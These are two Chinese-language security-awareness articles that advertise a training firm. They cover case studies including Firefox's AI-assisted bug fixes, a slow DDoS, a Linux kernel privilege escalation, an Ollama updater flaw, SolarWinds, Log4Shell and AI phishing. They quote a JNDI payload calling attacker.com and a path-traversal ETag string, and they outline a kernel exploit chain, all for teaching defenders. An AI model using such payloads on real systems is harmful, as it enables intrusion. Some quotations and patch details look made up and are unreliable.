自动化防护

守护数字疆土：从真实漏洞到AI红队——信息安全意识的全景指南

admin

头脑风暴：如果让一位资深安全工程师、一个AI红队模型和一位普通职员共同策划一次“网络防线演练”，他们会从哪三个维度切入？
1️⃣ AI驱动的漏洞大爆发——Mozilla Firefox在一次重大版本更新中，凭借Anthropic的Claude Mythos Preview，一举捕获并修补了 423 处安全缺陷。

2️⃣ 低调持久的DDoS暗潮——一场历时 5 小时、流量缓慢但持续的分布式拒绝服务攻击，让企业的监控系统错失告警窗口，导致业务短暂失效。
3️⃣ 根植内核的Copy Fail——Linux Kernel 长达 9 年的高危漏洞被公开，攻击者仅凭低权限即可夺取 root 权限，波及全球数十万台服务器。

这三桩案件虽各有侧重，却在同一根本上映射出 “技术进步+安全盲点 = 风险叠加” 的规律。以下，我们将逐案拆解，抽丝剥茧，从中提炼出对每一位职工都适用的安全教训，帮助大家在自动化、智能化、数据化高速融合的今天，构筑“人—机—数据”三位一体的防御体系。

案例一：AI‑红队的千刀万剐——Firefox 150 版的 423 条漏洞修补史

1. 背景速写

2026 年 4 月底，Mozilla 发行了 Firefox 150 版（内部代号 150.0），这一次不仅加入了多项全新功能，更以 “AI‑助力漏洞扫描” 为卖点。Mozilla 与 Anthropic 合作，引入了 AI 模型 Claude Mythos Preview，并将其嵌入自研的漏洞发现管线。短短数周，安全团队在该模型的辅助下，累计 发现并修补 423 条安全漏洞——其中 271 条为 AI 直接定位，另外 152 条通过传统模糊测试（fuzzing）与手动审计共同发现。

2. 漏洞分布与危害

漏洞数量 风险等级 主要类型
180 高危 代码执行、沙箱逃逸、内存泄露
80 中危 信息泄露、权限提升
11 低危 UI 跳转、样式注入
152 其他 通过模糊测试发现的混合型问题

其中 CVE‑2026‑6784（154 条子漏洞）、CVE‑2026‑6785（55 条）、CVE‑2026‑6786（107 条） 形成了 “漏洞聚合体”，一次 CVE 报告即涵盖百余条具体缺陷。更值得关注的是，Anthropic 的 Frontier Red Team 直接提交了 CVE‑2026‑6746、CVE‑2026‑6757、CVE‑2026‑6758，这三条均已在 150 版中得到修复。

3. 教训与启示

教训 详细阐述
AI 不是万能钥匙 Claude Mythos 能快速定位高危缺陷，但仍需人工复核，否则误报或漏报风险仍在。
漏洞聚合效应 单个 CVE 编号下可能包含数百条子漏洞，补丁管理和部署必须同步进行，避免因遗漏子漏洞导致残留风险。
跨部门协同 100 多名研发、测试、运维人员共同参与，从代码审计到自动化流水线，每一个环节的“人‑机”配合决定了修复效率。
红队外部贡献 通过与外部 AI 红队合作，能够 提前捕获 零日威胁，建议企业开放“漏洞赏金”或 AI‑红队合作渠道。

格言：“兵贵神速，亦贵全盘。”——在信息安全的战场上，速度与全局视野同等重要。

案例二：潜行的暗流——5 小时慢速 DDoS 攻击的隐形危机

1. 事件概述

2026 年 5 月 7 日，一家国内大型电子商务平台遭遇了一次持续约 5 小时 的 低速且分散的 DDoS 攻击。与传统洪峰式流量冲击不同，攻击者采用 “慢速爬虫+分布式伪装” 的方式，以 0.5 Gbps 的平均流量，混杂在正常业务流中，成功绕过了平台的速率阈值告警系统。

2. 关键技术

技术手段 说明
慢速爬虫 通过维持大量长连接，消耗服务器的并发资源。
IP 变形 使用全球范围的僵尸网络，IP 地址分散在 1500+ 区域。
流量混淆 合并正常业务请求与攻击流量，降低异常检测率。

3. 影响评估

  • 业务中断：网站关键页面响应时间从 200 ms 拉升至 3 s，导致转化率下降约 12%。
  • 品牌声誉：社交媒体上出现 2000 条负面评价，潜在客户流失难以量化。
  • 运维成本：在事故发生后，团队加班 48 小时进行流量清洗与日志分析，额外成本约 30 万人民币。

4. 防御思考

  1. 多维度监控：不仅要监控流量峰值，还应监测 连接数、TCP 状态、请求延迟 等细粒度指标。
  2. 行为分析：利用 机器学习异常检测模型，对流量模式进行聚类，快速捕捉“慢速异常”。
  3. 弹性伸缩：部署 云原生的流量清洗服务（如 SaaS DDoS 防护），实现峰值自动分流。
  4. 应急预案：制定 5 分钟响应 SOP，明确职责与沟通渠道，缩短从发现到处置的时间窗口。

逸闻：“水滴石穿，非一日之功。”——攻防的持续演进，需要我们在细节上保持警觉。

案例三：根植内核的暗门——Linux Kernel “Copy Fail” 漏洞的深度剖析

1. 漏洞概况

2026 年 5 月 1 日，安全研究员在一次社区审计中披露了 CVE‑2026‑XXXX（业界称之为 Copy Fail），它是一处 Linux Kernel 长达 9 年 的高危缺陷。该缺陷位于 文件系统复制（copy_file_range） 接口的边界检查中，攻击者可通过特制的系统调用参数，触发 内核越界写，从而实现 本地提权至 root。

2. 利用链简述

  1. 构造恶意复制请求：利用 copy_file_range 的 offset 与 len 参数，制造负数或超大数值。
  2. 触发内核写入：内核在未充分校验长度时，将数据写入 任意内核地址。
  3. 覆盖关键函数指针：攻击者将函数指针改写为自定义的 shellcode，在后续系统调用时执行。
  4. 获取 root 权限：最终实现 特权提升，对系统进行完整控制。

3. 影响范围

  • 全球分布：涉及主流发行版（Ubuntu、Debian、CentOS、OpenSUSE）所有 4.x、5.x、6.x 内核系列。
  • 服务器数量：保守估计受影响机器超过 200 万台，包括云服务器、IoT 边缘设备。
  • 业务危害：攻击者可植入后门、窃取数据，甚至将受感染主机用于 大规模僵尸网络。

4. 防御与修复建议

步骤 说明
及时更新 关注官方补丁（Linux 5.19.23、6.1.12 已修复），使用 自动化更新平台 确保全员同步。
内核完整性监测 部署 IMA/EVM（Integrity Measurement Architecture）或 TPM，实时校验关键内核文件的哈希。
最小化特权 对业务容器或服务采用 Rootless、User Namespace，防止即便内核被利用也难以提升至宿主机根权限。
异常系统调用审计 开启 auditd，对 copy_file_range 等高危系统调用进行审计并设置阈值报警。

警言：“防微杜渐，方能安天下。”——即便是看似不起眼的系统调用，也可能成为攻击者的突破口。

融合的时代：自动化、智能化、数据化的安全新常态

1. 自动化——从手动巡检到全链路安全编排

过去，安全团队往往通过 手工审计 + 经验判定 完成漏洞发现。现在，CI/CD 安全流水线（Secure DevOps）已成为标配：

  • 代码静态分析（SAST） 与 依赖检测（SCA） 自动嵌入 git push、merge request 阶段。
  • 容器镜像扫描 与 基础设施即代码（IaC）安全审计 在 pipeline 中完成，防止“漂移”。
  • 安全编排（SOAR） 系统将告警自动关联、分配，极大压缩响应时间。

小贴士：在企业内部搭建 “安全即服务（Security‑as‑a‑Service）” 平台，让每位开发者只需点击按钮，即可触发全链路安全检查，真正实现“安全在手，开发无忧”。

2. 智能化——AI 红队、机器学习威胁检测

案例一已经展示了 Claude Mythos 的红队能力。除此之外，企业可以在以下方向引入 AI 助手：

场景 AI 技术 价值
漏洞预测 大模型（LLM）+ 代码图谱 根据历史提交、改动频率预测潜在缺陷。
异常流量检测 深度学习（CNN/RNN） 自动识别“慢速 DDoS”“僵尸网络”流量特征。
威胁情报归纳 自然语言处理（NLP） 从海量安全公告、博客中提取关键 CVE 与攻击手法。

然而，“AI 并非全能”，仍需 人为验证 与 伦理审查，避免模型误报或产生新风险。

3. 数据化——安全数据湖与可视化决策

企业内部的日志、审计、网络流量、端点行为等，日均产生 TB 级 数据。将这些数据统一 入湖（Data Lake），再通过 ELK、Grafana、Superset 等工具进行 可视化分析，能够：

  • 快速定位 热点资产 与 风险聚焦点。
  • 支持 横向对比（跨部门、跨区域）与 纵向追踪（时间序列）分析。
  • 为 合规审计（如 GDPR、ISO 27001）提供 可追溯的证据。

邀请函：加入信息安全意识培训，成为“数字防线”的守护者

亲爱的同事们：

在 AI 红队、自动化流水线、数据湖 交织的今天，每一位员工都是信息安全的第一道防线。我们即将启动为期 四周 的 信息安全意识培训 项目，内容涵盖：

  1. 安全基础：密码学原理、社交工程识别、常见漏洞分类。
  2. AI 与红队：了解 Claude Mythos、Anthropic Frontier Red Team 的工作方式，学会利用 AI 辅助安全检测。
  3. 安全编程：安全代码审计、模糊测试、容器安全最佳实践。
  4. 应急响应：DDoS 防御、最小化特权、日志审计与取证。
  5. 合规与审计：ISO 27001、GDPR 与国内法规的关键要点。

培训形式

方式 频次 时长 备注
线上微课 每周 2 次 30 分钟 可随时点播，兼容移动端。
现场工作坊 第 2、4 周 2 小时 小组实战：漏洞复现与修补。
案例研讨 第 3 周 1.5 小时 深度剖析 Firefox、DDoS、Copy Fail。
红队体验 第 4 周 2 小时 与 Anthropic 模型对话，体验 AI 红队。

参与收益

  • 提升个人竞争力：掌握前沿安全技术，简历加分。
  • 保护组织资产：降低因人为失误导致的安全事件概率。
  • 合规加速：满足内部审计与外部监管要求。
  • 团队协作：跨部门安全文化构建，增强组织凝聚力。

名言警句：“治大国若烹小鲜”，——《道德经》中的智慧同样适用于 信息安全治理：细节决定成败，温柔而精准的治理方能保疆土安宁。

报名方式

请访问公司内部 安全培训平台（链接已发送至邮件），在 2026‑05‑15 前完成报名。届时系统将自动推送课程表与学习资料。每位完成全部课程并通过考核的同事，将获得 “数字防线守护者” 电子徽章，并有机会参与公司年度 红队挑战赛，赢取 精美礼品 与 内部积分。

结语：让安全渗透到每一次点击、每一次提交、每一次合作

从 AI 红队的千刀万剐，到 慢速 DDoS 的潜行暗流，再到 内核深处的 Copy Fail，我们看到的不是单个技术的失误，而是 技术、流程、文化三者缺口的叠加。只有当 全员安全意识 与 自动化、智能化、数据化 的技术手段形成正向闭环，才能在快速迭代的数字世界里稳固防线。

让我们一起 敲响警钟、点燃热情，在即将开启的培训中汲取洞见、磨砺技能，成为 信息安全的守望者。未来的网络空间，需要每一个思考、每一次验证、每一份坚持。

安全无小事，防护从我做起！

信息安全是企业声誉的重要保障。昆明亭长朗然科技有限公司致力于帮助您提升工作人员们的信息安全水平，保护企业声誉，赢得客户信任。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

信息安全的“脑洞风暴”：从漏洞链到自动化时代的防护之道

admin

在信息化、数据化、自动化深度融合的今天，网络安全已不再是“技术部的事”，而是每一位职工的必修课。若把企业比作一艘航行在汹涌波涛中的巨轮，那么安全漏洞就是暗礁；若不做好防护，稍有不慎便会触礁沉没，甚至牵连全体乘客。为帮助大家在这场“安全航行”中保持清醒与警觉，本文将在开篇进行一次头脑风暴，挑选 四个典型且具有深刻教育意义的案例，从技术细节、攻击路径、影响范围以及防御思路等方面进行深入剖析。随后，我们将结合当下 自动化、数据化、信息化 融合发展的趋势，号召全体职工积极参与即将开启的 信息安全意识培训，提升自身的安全素养、知识结构和实战技能。

一、案例一：Ollama 自动更新链式 RCE 与持久化（CVE‑2026‑42248 / CVE‑2026‑42249）

1. 事件概述

2026 年 5 月，安全研究团队 Striga 公开了两条针对 Ollama（一款在本地运行大语言模型的开源工具） Windows 客户端自动更新模块的漏洞链。CV​E‑2026‑42248 为“签名校验失效”，即更新文件在下载后即使签名不合法，程序也直接执行；CVE‑2026‑42249 为“路径遍历”，攻击者可通过恶意 ETag 头部注入 ../ 序列，将任意可执行文件写入用户的 Startup 文件夹，实现开机自启动的持久化。

2. 攻击路径细化

  1. 控制更新响应：攻击者需掌握更新服务器或在网络层进行 MITM（TLS 中间人）拦截，修改返回的更新响应头部。
  2. 利用路径遍历：在 ETag 中塞入 ../../../../../../../../.../Startup/malware.exe ，使得 filepath.Join(UpdateStageDir, etag, …) 直接拼接出 Startup 目录的完整路径。
  3. 绕过签名校验：即便更新文件签名不合法，verifyDownload() 永远返回 nil，导致后续的清理逻辑不执行，恶意文件残留下来。
  4. 持久化启动：Windows 在用户登录时自动执行 Startup 文件夹中的所有可执行文件，恶意程序遂以 “隐形” 方式长期驻留。

3. 影响评估

  • 全局持久化：只要用户开启自动更新并保持默认启动方式，即可在每次登录时自动执行恶意代码。
  • 跨平台差异：macOS 端实现了严格的代码签名校验，未出现同类漏洞，显示出 平台安全实现的一致性不足。
  • 供应链风险：攻击者若成功入侵官方更新服务器，即可对所有使用该软件的用户进行 大规模植入，形成典型的 供应链攻击。

4. 防御思路

  • 关闭自动更新：在 Settings → Updates 中关闭 “Auto‑download updates”。
  • 审查 Startup 项：定期检查 %APPDATA%MicrosoftWindowsStart MenuProgramsStartup 目录，删除未知快捷方式或可执行文件。
  • 加强网络层防护：使用企业级 TLS Pinning、DNSSEC 与 HTTPS 严格传输安全（HSTS）来抵御 MITM。
  • 代码审计：对关键路径的文件拼接、签名验证等函数进行 输入过滤 与 异常捕获，防止类似的逻辑漏洞。

“防微杜渐，未雨绸缪。” —— 传统智慧提醒我们，安全的根本在于“细节”。在自动化工具日益普及的今天，这一点尤为重要。

二、案例二：SolarWinds 供应链攻击（2020 年）——“幽灵之手”隐藏在更新中

1. 事件概述

SolarWinds 为全球上千家企业提供 IT 管理软件，其产品 Orion 的更新包被植入恶意后门 SUNBURST，导致美国政府部门、能源公司等关键基础设施遭受横向渗透。攻击者通过 代码注入、签名欺骗 与 供应链渗透，在不经用户察觉的情况下获取了系统管理员权限。

2. 攻击链关键点

  • 获取构建权限：攻击者渗透到 SolarWinds 的内部网络，获取了 代码签名证书 与 构建系统 的写入权限。
  • 植入后门：在官方发布的更新包中加入隐藏的 DLL，利用合法签名掩盖恶意行为。
  • 触发执行：受影响的客户在自动更新后，后门被加载，提供 C2 通道，进一步进行数据窃取与横向移动。

3. 经验教训

  • 供应链透明度：企业应要求供应商提供 SBOM（Software Bill of Materials） 与 SLSA（Supply‑Chain Levels for Software Artifacts） 认证，以便追踪每一步构建过程。
  • 多层验证：单一的签名验证不足，需结合 行为分析 与 威胁情报，对更新包进行二次检测。
  • 最小化信任：对关键系统采用 分层信任模型，仅允许经批准的二进制文件运行。

三、案例三：Log4j 远程代码执行（CVE‑2021‑44228）——“日志的致命漏洞”

1. 事件概述

2021 年年底，Apache Log4j 2.x 在 JNDI 功能中出现 任意类加载 漏洞，攻击者可通过构造特定的日志字符串（如 ${jndi:ldap://attacker.com/a}）触发远程代码执行。该漏洞被冠以 Log4Shell，在全球范围内迅速蔓延，影响数以万计的企业与政府机构。

2. 漏洞利用步骤

  1. 注入恶意日志：通过 Web 表单、HTTP Header、LDAP 查询等渠道，将恶意 JNDI URL 写入日志。
  2. 触发 JNDI 查找：Log4j 在解析日志时会自动执行 JNDI 查找，从而下载并执行攻击者托管的恶意 Java 类。
  3. 执行任意代码：攻击者可在受害系统上创建反弹 Shell、部署矿工或植入后门。

3. 防御措施

  • 升级至 Log4j 2.17.1 或更高版本，关闭 JNDI 功能。
  • 禁用消息格式化：在配置文件中将 log4j.formatMsgNoLookups 设为 true。
  • 网络隔离：阻断内部系统对外部 LDAP、RMI 等协议的访问。
  • 日志审计：对日志内容进行 正则过滤，拦截潜在的 JNDI 表达式。

《韩非子·说林上》有言：“设防固其所当，措置不勤。”
实际上，防护的根本在于 “可预见的风险” 与 “及时的补丁”。

四、案例四：AI 生成的钓鱼邮件——“深度伪造”让防线失守

1. 事件概述

2023 年，某大型金融机构的内部员工收到一封看似同事发来的 AI 生成 邮件，内容使用 ChatGPT 类语言模型自动撰写，语气自然、细节精准。邮件中附带一份伪造的 Excel 报表，实际是 宏病毒，一旦打开即下载并执行 C2 植入 程序，导致内部网络被攻陷。

2. 攻击亮点

  • 逼真度提升：AI 生成的文本能够模仿特定人物的写作风格、常用语句与时间线，极大降低被识别的概率。
  • 快速批量化：攻击者可在几分钟内生成数千封高度定制化的钓鱼邮件，提高命中率。
  • 多模态诱骗：结合 深度伪造图像（如伪造的签名、公司徽标）与 语音合成（假冒电话），构建全链路社工程攻击。

3. 防范方案

  • 安全意识培训：定期对全员开展 社工程模拟演练，让员工熟悉 AI 钓鱼的常见特征。
  • 邮件安全网关：部署具备 AI 检测 能力的邮件网关，实时识别异常语言模型生成的文本。
  • 宏安全策略：限制 Office 文档宏的运行权限，采用 Application Whitelisting（白名单）模式。

  • 多因素认证：对涉及关键业务的操作（如转账、权限变更）强制使用 MFA，降低凭证泄露后的危害。

正如《庄子·逍遥游》所言：“其形虽有而其神不形。”
AI 让“形”更具欺骗性，安全的“神”更要保持清醒。

五、自动化、数据化、信息化融合：安全挑战的三座大山

1. 自动化——效率的双刃剑

在 CI/CD 流水线、容器编排（K8s）和 IaC（Infrastructure as Code） 的推动下，软件交付速度日益加快。自动化脚本若存在 隐藏的后门 或 未审计的外部依赖，极易被攻击者利用，形成 “自动化的攻击”。例如：在 Jenkins 的插件更新中植入恶意代码，可在每一次构建时自动下载并执行。

防御要点
– 对所有 Pipeline 脚本 进行 代码审计 与 签名校验。
– 使用 最小权限原则（Least Privilege），限制构建服务器的网络访问。
– 部署 SAST/DSA（静态/动态安全分析）工具，实现 自动化安全检测。

2. 数据化——信息的金矿也是诱捕的陷阱

大数据平台、日志分析系统（ELK、Splunk）以及 数据湖 中汇聚了大量业务敏感信息。若 数据访问控制 不严或 日志泄露，攻击者即可通过 侧信道（Side‑Channel）收集情报，例如利用 查询模式 推断用户行为、业务流程。

防御要点
– 实施 基于属性的访问控制（ABAC） 与 细粒度审计。
– 对 静态与动态数据 进行 加密存储 与 传输层加密（TLS 1.3）。
– 定期进行 数据脱敏 与 最小化原则，避免不必要的明文存放。

3. 信息化——协同平台的“敲门砖”

企业内部的 协同办公系统（如钉钉、企业微信）已成为业务沟通的核心。该类系统往往兼具 即时通讯、文件共享、审批流 等功能，一旦被攻击者获取 API Token 或 管理员权限，即可进行 水平移动、数据篡改，甚至 伪造业务指令。

防御要点
– 对 API 调用 实施 签名校验 与 限流。
– 启用 安全审计日志，实时监测异常登录、异常文件下载行为。
– 采用 零信任架构（Zero Trust），让每一次访问都经过身份验证与授权。

六、号召：让安全意识成为每位职工的“第二本能”

1. 培训的意义不止于“合规”

在过去的 三年 中，国内外企业因 安全培训缺失 而导致的 平均损失 超过 1.2 亿元（来源：CERT Polska 报告）。安全培训不应仅是完成上级交代的任务，而应成为 企业文化 的重要组成部分。我们倡导：

  • “安全思维”深入业务：每一次需求评审、每一次系统上线，都要考虑 “如果被攻击会怎样？”。
  • “安全实践”落地执行：从 密码管理、多因素认证 到 安全配置审计，每一项都要有可量化的执行标准。
  • “安全分享”循环提升：鼓励员工在内部平台发布 安全案例、经验教训，形成 知识共享 的闭环。

2. 培训内容概览（即将开启）

模块 目标 关键技术点
基础安全认知 掌握常见攻击手段（钓鱼、社会工程、恶意软件） 防钓鱼技巧、密码管理、移动端安全
系统硬化与配置 熟悉 Windows、Linux、容器的安全基线 安全基线检查、最小化服务、内核防护
安全编码与审计 掌握安全编码规范，学会使用 SAST/DAST 工具 输入验证、依赖管理、代码审计
供应链安全 了解 SBOM、签名验证、供应链风险评估 软件成分分析、签名链验证、供应商评估
自动化安全 将安全嵌入 CI/CD 流水线，实现DevSecOps 安全扫描自动化、容器安全、IaC 检查
响应与取证 熟悉 incident response 流程，掌握取证技巧 事件响应流程、日志分析、取证工具
实战演练 通过红蓝对抗、CTF 赛制提升实战能力 红队渗透、蓝队防御、CTF 题解

3. 参与方式与奖励机制

  1. 报名渠道：通过企业内部门户 “安全学习平台” 进行在线报名，填写 部门、岗位、当前安全认知水平（初级/中级/高级）四项信息。
  2. 学习路径：共计 12 小时 视频 + 8 小时 实战实验 + 4 小时 案例研讨，完成全部模块后将获得 《企业信息安全管理师》 电子证书。
  3. 激励政策：
    • 一次性奖励：完成全部课程并通过考核的员工，将获得 200 元 业务卡奖励。
    • 年度荣誉：年度安全优秀个人将入选 “安全之星” 榜单，获得 公司内部推荐 机会及 专项培训 机会。
    • 团队加分：所在部门整体完成率 ≥ 90%，部门将获得 额外预算 用于安全设施升级。

4. 行动呼吁：从“我”做起，从“现在”开始

“千里之行，始于足下。”
安全是一场 没有终点的马拉松，每一次学习、每一次演练、每一次经验分享，都是在为企业筑起一道坚不可摧的防线。希望每位同事都能把 “安全” 融入到日常工作——写代码时检查依赖，下载文件前确认来源，会议链接使用双因素验证……让安全意识成为 第二本能，让安全行为成为 自然反射。

在此，我们诚挚邀请全体职工踊跃报名参加 信息安全意识培训，让我们一起 “以防未然，护航未来”！

“防”：防微杜渐，防患未然；
“护”：护航业务，护卫数据；
“共”：共建安全生态，共享成长收益。

让我们在自动化、数据化、信息化的浪潮中，携手筑起坚固的安全堤坝！

昆明亭长朗然科技有限公司致力于提升企业信息安全意识。通过定制化的培训课程，我们帮助客户有效提高员工的安全操作能力和知识水平。对于想要加强内部安全防护的公司来说，欢迎您了解更多细节并联系我们。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898